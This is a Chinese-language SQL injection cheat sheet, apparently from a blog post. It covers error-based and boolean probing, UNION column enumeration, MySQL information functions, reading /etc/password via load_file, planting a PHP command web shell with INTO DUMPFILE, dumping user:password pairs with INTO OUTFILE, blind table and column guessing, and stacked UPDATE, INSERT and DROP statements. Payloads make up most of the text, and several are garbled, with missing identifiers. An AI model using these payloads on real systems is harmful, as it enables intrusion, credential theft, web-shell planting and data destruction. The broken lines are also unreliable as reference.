sql注入的原理和检测方法
主要是利用在代码拼接sql语句过程中,插入意外的sql语句,对数据库进行操作,得到想要的结果。
- 基于报错的方式
' " % ()
插入以上字符,如果能够进行sql注入,导致拼接的sql语句语法错误。无法执行,网页报错。
- 基于布尔的检测
(select * from user where username =') 1' and '0
(select * from user where username =') 1' and '1
判断是否执行了后续的逻辑判读
表列数
' order by 9 -- (按序列号查询,注释符 --)联合查询
' union select 1,2 --
' inion all select 1,2--
常用的sql函数和变量
user() // 当前数据库用户名
version() //当前数据库版本号
database() //当前数据库名
@@datadir //当前数据库在服务器上位置
@@hostname
@@VERSION
@@version
CONCAT_WS(,,,) //连接多个函数
substring_index() //切割字符串
load_file('/etc/password') //显示文件内容
推荐工具: hackbar
806432-20190618101236467-460152559.png
读写文件
读取文件
load_file('/etc/password') //显示文件内容
' union select null,load_file('/etc/password')--写入文件
' union select null,"<?php passthru($_GET['cmd']);?>" into dumpfile ''/tmp/a.php" --
cat b.php | xxd -ps | tr -d '\n'
将b.php转换成16进制显示出来。
(xxd -ps :16进制显示。tr -d '\n' 去除换行符)保存下载数据库
' union select null,concat(user,0x3a,password) from users into outfile '/tmp/a.db' --
无权读取information schema库/拒绝union/order by语句
- 猜列名
' andis null --
*当前表名
' and.user is null --
- 库里其他表
' and (select count(*) from)>0 --
- 列表对应关系
' andis null --
- 猜字段内容
' or user = '
' or user like '%%
- 猜账号对应密码
' or user ='admin' and password='5fasfasdahsdjfhadshjah823
当数据库可写时
- ';update ...........
修改数据库 - ';insert into ........
插入数据库 - ';drop......
删除数据库